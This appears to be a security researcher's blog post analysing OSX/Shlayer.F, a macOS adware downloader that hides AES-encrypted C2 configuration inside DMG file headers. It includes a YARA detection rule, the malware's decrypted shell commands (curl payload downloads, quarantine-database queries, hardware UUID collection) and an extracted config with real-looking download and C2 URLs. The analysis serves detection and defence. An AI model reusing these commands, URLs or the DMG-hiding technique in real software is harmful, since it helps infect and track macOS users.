In this guest blog post, the security researcher Taha Karim (@lordx64) of Confiant, details an unusual Shlayer sample that encrypts its configuration within the DMG file header structure.
The writeup was originally posted on Confiant’s site.
While conducting routine threat hunting for macOS malware on Ad networks, I stumbled upon an unusual Shlayer sample. Upon further analysis, it became clear that this variant was different from the known Shlayer variants such as OSX/Shlayer.D
, OSX/Shlayer.E
, or ZShlayer
. We have dubbed it OSX/Shlayer.F
.
I then started tracking this OSX/Shlayer.F
variant and checked to see if other vendors had encountered or written about it. It turns out that this variant had been reported on in previous blog posts:
I wanted to revisit the OSX/Shlayer.F variant of the Shlayer malware to report on a technique that has not previously been seen in other macOS malware for hiding Command and Control (C2) information. This variant encrypts its configuration using AES within the DMG file header structure, resulting in a modified DMG file. The modification is cleverly crafted and does not cause the DMG file to become corrupted or malfunction. In fact, the macOS operating system is able to mount these modified DMG files and load them as usual.
Modified DMG files have been used by malware in the past, such as in the CIA’s Imperial project, which included a tool called Achilles that allowed operators to trojanize OS X disk image installers (DMG files) with a specified executable for one-time execution. This recent finding of the Shlayer malware hiding its configuration within DMG files brings to mind the potential for mac malware authors to use this technique more aggressively in the future, potentially for hiding essential components of their malware.
Shlayer is a very primitive piece of malware, but had different modifications including this variantTrojan-Downloader.OSX.Shlayer.e
reported by Kaspersky back in Jan 2020 as it is written in Python instead of bash.
Most of Shlayer has a bash script form like this variant OSX/Shlayer.D
that I reported on back in 2019 here and SentionelOne reported about ZShlayer
in Septembre 2020, which is a variation of OSX/Shlayer.D
that uses ZSH. There was also mach-O variant of Shlayer reported by UPTYCS here in July 2021, but no name was given to this variant specifically.
Shlayer has mainly been used as an installer/downloader, its main goal being to download adware like Bundlore (even though Bundlore can have its own installer as we reported here). But it can also download other Adware like the Cimpli installer as reported by Karspersky here, etc.
Let’s dive into DMG files and see how Shlayer was able to modify them.
Jonathan Levin described the format very well here and I invite the readers to go read his post for a much complete DMG format description.
If you are a macOS user you have probably already encountered DMG files when you download software. For non-mac Users, a DMG file is a mountable disk image primarily used to distribute software to the macOS operating system. Mac users typically download the file from the Internet and then double-click it to install an application on their computer:
In a nutshell a DMG file format is often represented like this:
Compressed image blocks (compression algorithm can vary)
Followed by a XML property list (plist).
This property list contains the DMG block map table. it is technically the resource fork of the DMG.
Followed by a 512-byte trailer at the end of the file.
This trailer is identifiable by a magic 32-bit value, 0x6B6F6C79
, which is “koly”. we will call it the “koly” block in this blog post.
Let’s pick a regular DMG file (not trojanized), let’s randomly check OSX/ZuRu
that was fully analyzed by macOS security expert Patrick Wardle here. This malware was delivered via a trojanized Iterm2 app, but let’s focus on the DMG file:
e5126f74d430ff075d6f7edcae0c95b81a5e389bf47e4c742618a042f378a3fa
We can see a typical and non-modified DMG file:
We can say that the DMG file of this malware, is safe and not modified and everything looks normal. Now let’s pick a modified DMG of a Shlayer malware and check the differences, and we can notice a blob of encrypted data was inserted between the plist file and the koly block (I blurred the blob hex bytes because as we will see later, the Shlayer config could contain identifiable victim information)
This will lead us to the next step, which is to reverse engineer this Shlayer variant, and find how we can decrypt this blob and probably write a standalone tool to automatically decrypt it.
We are going to run an analysis on the mach-O sample 0fe475cc5da11e1f3ca5e0bc81d5ee406bdf4b4c428ebdab35f4dad63c0b9093 that resulted from one of the modified DMG files.
The sample above is flagged by Confiant as OSX/Shlayer.F
, and below is a YARA rule to detect this variant:
// by Confiant
private rule Macho
{
meta:
description = "private rule to match Mach-O binaries"
condition:
uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf
or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
}
rule OSX/Shlayer.F
{
meta:
author = "taha@confiant.com"
description = "variant F of shlayer using AES encrypted configuration embedded in the dmg"
strings:
$dmg_tag = "</plist>" ascii
$s3 = ".s3" ascii
$shlayer_conf1 = "lu"
$shlayer_conf2 = "bdu"
$shlayer_conf3 = "upb"
$shlayer_conf4 = "du"
$cccrypt = "_CCCrypt" ascii
condition:
Macho and $dmg_tag and $cccrypt and $s3 and any of ($shlayer_conf*)
}
String decryption as we saw in many of our previous blog posts is often enough to determine what the sample does in almost (if not all) macOS Adware.
We have automated this string decryption process at scale for specific malware families including now OSX/Shlayer.F
, and below is the output for this specific sample:
0x1000073b0: /tmp/ 0x100007b60: %s/Contents/MacOS 0x100008140: %s %s > /dev/null 2>&1 0x1000094b0: echo '%s' | tr -d '' | openssl base64 -A -e 2>/dev/null | xargs | tr -d '' 0x10000a0f0: rm -rf %s > /dev/null 2>&1 0x10000a1d0: (cd %s; ls | head -n 1) 0x10000a2d0: for FILE in %s/*.app; do echo "${FILE}"; break; done; 0x10000a3b0: unzip -P %s %s -d %s > /dev/null 2>&1 0x10000c7a0: curl -f0L -o %s '%s' > /dev/null 2>&1 0x10000e160: curl -L '%s' > /dev/null 2>&1 0x10001a690: curl -L '%s' 2>/dev/null 0x10001b340: sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like "%s3.amazonaws.com%" order by LSQuarantineTimeStamp desc limit 5' 0x10001ff50: hdiutil info -plist | perl -0777pe 's|\s*(.*?)\s*|$1 |gs'| plutil -convert json -r -o - -- - 0x100020110: Install.command 0x1000201d0: %s 0x100020260: /Volumes/Install 0x100020320: %s %i 0x100020840: for FILE in %s/.hidden/*.command; do echo "${FILE}"; break; done; 0x100020970: system_profiler SPHardwareDataType | awk '/UUID/ { print $3; }' 0x100020a50: defaults read /System/Library/CoreServices/SystemVersion.plist ProductVersion
Meanwhile, after reviewing the techniques I noticed the following :
Commands were introduced in this OSX/Shlayer.F
variant consisting of querying QuarantineEventsV2
database; A variation of this technique was already seen in other malware like OSX/Bundlore
as reported by UPTYCS here, but so far not in Shlayer. And mapping mounted volumes parsing out specific information.
I couldn’t find a C2 configuration in the decrypted strings, so we will have to find where this config was stored (see below)
As mentioned above, this variant OSX/Shlayer.F
queries QuarantineEventsV2
as follows:
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like "%s3.amazonaws.com%" order by LSQuarantineTimeStamp desc limit 5'
When run, this command will list mounted images, and OSX/Shlayer.F
will read the image-path
value to get the path on disk to the parent DMG file mounted:
% hdiutil info -plist | perl -0777pe 's|\\s*(.*?)\\s*|$1 |gs' | plutil -convert json -r -o - -- - { "framework" : "628.40.2", "images" : [ { "autodiskmount" : true, "blockcount" : 8376, "blocksize" : 512, "diskimages2" : true, "hdid-pid" : 88876, "image-encrypted" : false, "image-path" : "\/Users\/user\/Downloads\/final-cut-pro-x-10-6-1-crack.dmg", "image-type" : "read-only disk image", "owner-uid" : 501, "removable" : true, "system-entities" : [ { "content-hint" : "GUID_partition_scheme", "dev-entry" : "\/dev\/disk7" }, { "content-hint" : "48465300-0000-11AA-AA11-00306543EBAC", "dev-entry" : "\/dev\/disk7s1", "mount-point" : "\/Volumes\/Install" } ], "writeable" : false } ], "revision" : "628.40.2", "vendor" : "Apple" }%
Then the parent DMG is opened and read block by block, the </plist>
tag is used to locate the encrypted data that sits between this tag and the ‘koly’ block.
After reversing OSX/Shlayer.F
and locating the config decrypting code CCCrypt is used with kCCAlgorithmAES128 algorithm to decrypt this data, right after extracting the AES key and IV.
The AES key and IV are extracted and are present at the beginning of the encrypted blob following this format:
0x20
bytes corresponds to an AES key.0x10
bytes corresponding to the IV.I wrote a standalone command line script to do the above:
Below is an example of an extracted config from the DMG file below (using the script above):
{
"du": "https://s3.amazonaws.com/b30fd539-402f-4/2b88cb8a-6f2c-44/9945647b-15bd-4a/Install.dmg?fn=final-cut-pro-x-10-6-1-crack-license-key-latest-jan-2022&subaff=2874&e=5&k=7288ee87-db3e-4c47-9dc0-00f009e583a0&s=614aa849-d491-4ad4-a7fe-3ff69cb6f316&client=safari",
"lu": "http://d2hznnx43bsrxg.cloudfront.net/slg?s=%s&c=%i&gs=1",
"bdu": "http://d2hznnx43bsrxg.cloudfront.net/sd/?c=xGlybQ==&u=%s&s=%s&o=%s&b=15425161967&gs=1",
"upb": "76916152451219215425161967",
"p": "nDS8MxD+Tkb54Ocij+4ZMid1lT4f16QCAf/SsI8i+eT0HFx7udZJJTVL/7YETnYwBboycKYxn/WcRdly3ZNwI3lmhMgWobbf7vzy3nUKFhA/PG7wE/TnI7zwmTLlUCMn8ZlR2IhYTgk12+tVwcGfxRP6pjri4Un9Y6b/Pt8/0MGFWY5mSfY7+cRLhnyqLj3EmNoGcuVlV21s6bYZkgmKOAIjbWyQzLLVaw5LBxZK9x4elDe1OKcWdDzNp6Ar+42KYuZPnGlUVa7jUd+5diFSR73wxDIX2TdL+zfcsB4ampVkEUH07Wq8lvlFRKw6SmsJ96ptBR02JD5IgxxhXMaZfHc40E1ZOmxLHltCwpM1yx3aWQA8HUOQedjJnym92q1FDHFixfEgznTOxDZqAjULXPycYXsTkqRxrDqAWhPoSPi5fg3XywrhiytODCbsqbOk9KuryY/FlIdxD97p3V7jIpCi+6fCNegPj08uMmNt7BgrZDGwPoElyiaDEUlbvCc8wIB78QHi9f4GyRUkMmxeuWCLpTl63h+ynkNtPc4PbXe13x0z25s7nZWkPPouEfb8FlxF2LbG1HCXT9nzI9Dt/FHAgANbrAaXUEKmCjBlZnZLahkH2Tua6QaQ7GhV2CnayZctKAEdXMLVAUbpRRKK6lbmjvFGJigfarrNzAg8i3OONoKWA+nlnDE2kJ4Im9JaIjOo9KukCwjxt0fpV7JnvNCMg1IUQj34a41V261i2PvIGDBBIpRlFdKaWw9BFoK5uvG/V3PzHxU6l2E3seuPYFFeQPnHKk4W4ZF6NRRmQLThRVz3RxCKGWM9eMVJNDgbTb7fhFrMBgWLspSo9c7w3Uw1N0GGKMN4U5BFQx64TcXCttAPh8i9T5PQUsLm+mvJpxlWZWKtR0C+uLlQfAqAADGxfqrFlV6ZiEOXjMqdCB4tdvDEWbuEXBr6+yCut+9wNlu3/torf2UcPFR3iMM=",
"umu": false
}
If you don’t like command line scripts, my colleague Eliya Stein
wrote a CyberChef recipe that can be used to decrypt OSX/Shlayer.F
configs just by dragging and dropping DMG files, try it out!
After analyzing a public corpus of OSX/Shlayer.F
present in online repositories, we found that in the config, the field du
(corresponding to the final recorded download url and its specific parameters) sometimes a parameter client_ip
was present with the victim IP address. This allowed us to draw a map of previous OSX/Shlayer.F
infections during Q1-Q3 2022:
…and allowed us to determine the infection % between home networks and enterprise networks during Q1-Q3 2022:
Since its discovery in 2018, Shlayer has continued to pose a threat to the macOS platform. Over the years, we have seen various but limited modifications of Shlayer, with OSX/Shlayer.F
representing a significant overhaul. It is likely that we will see further sophistication and ingenuity from the authors of this malware in the future.
This research highlights the importance of looking for modified or trojanized DMG files in larger sets of malware. I hope that it will inspire other researchers to take a deeper look at this issue, and I look forward to seeing the results of their findings.